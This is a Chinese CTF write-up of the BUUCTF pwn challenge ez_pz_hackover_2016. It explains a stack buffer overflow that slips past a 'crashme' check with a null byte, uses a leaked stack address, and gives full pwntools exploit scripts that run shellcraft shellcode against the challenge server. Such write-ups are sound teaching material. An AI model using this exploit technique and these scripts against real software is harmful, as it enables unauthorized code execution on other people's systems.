BUUCTF pwn ez_pz_hackover_2016(write up)
程序员文章站
2022-05-14 09:05:09
...
0x01 文件分析
没有不可执行栈和段上的读写保护。
0x02 运行
输入name后发现上面还有一个地址。
0x03 IDA
若输入
crashme
,即可进入vlun
函数,主要的漏洞点在这个函数内部的,chall
栈的大小很大,足够写
入shellcode
,之后的vuln
函数会将name
的数据复制到vuln的栈上面,而且复制的数据量远远大于栈的
长度,会造成栈溢出。
并且chall
函数的栈的地址直接打印出来,不用再去泄露栈地址,可以直接利用。
但如何绕过crashme检测呢?
strlen
函数不会统计\x00
,遇到就会停止。
0x04 思路
通过
fgets
写入shellcode
,结合已经泄露的栈地址,在vuln
里面改写返回地址,跳转到栈上的shellcode
执行。
做之前先要找出相关的偏移量,使用gdb调试,第一个是输入字符串
与返回地址
之间的偏移。使用gdb调试脚本到函数内部:
#!/usr/bin/python2
#coding=utf-8
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level= "debug")
# p = remote("node3.buuoj.cn", 25136)
p = process("./ez_pz_hackover_2016")
gdb.attach(p)
p.recvuntil("0x")
name_addr = int(p.recv(8), 16)
print "name_addr = " + hex(name_addr)
payload = "crashme\x00"
payload += "aaaabbbbccccddddeeeeffff"
p.sendline(payload)
p.interactive()
leave
过后esp=ebp+4
,那么crashme
相对于ebp
的偏移位0x1a=26个字节,然后在写返回地址跳转到shellcode
执行
#!/usr/bin/python2
#coding=utf-8
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level= "debug")
# p = remote("node3.buuoj.cn", 25136)
p = process("./ez_pz_hackover_2016")
gdb.attach(p)
p.recvuntil("0x")
name_addr = int(p.recv(8), 16)
print "name_addr = " + hex(name_addr)
payload = "crashme\x00"
payload = payload.ljust(26, "\x00")
payload += p32(0)
payload += asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
计算出
shellcode
地址相对于泄露的栈地址的偏移量为:0xfff7f5dc-0xfff7f5c0=0x1c=28
0x05 exp
#!/usr/bin/python2
#coding=utf-8
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node3.buuoj.cn", 25136)
p.recvuntil("0x")
name_addr = int(p.recv(8), 16)
print "name_addr = " + hex(name_addr)
payload = "crashme\x00"
payload = payload.ljust(26, "\x00")
payload += p32(name_addr - 28)
payload += asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
上一篇: Java构造函数的调用顺序
下一篇: C++子类显示调用父类的构造函数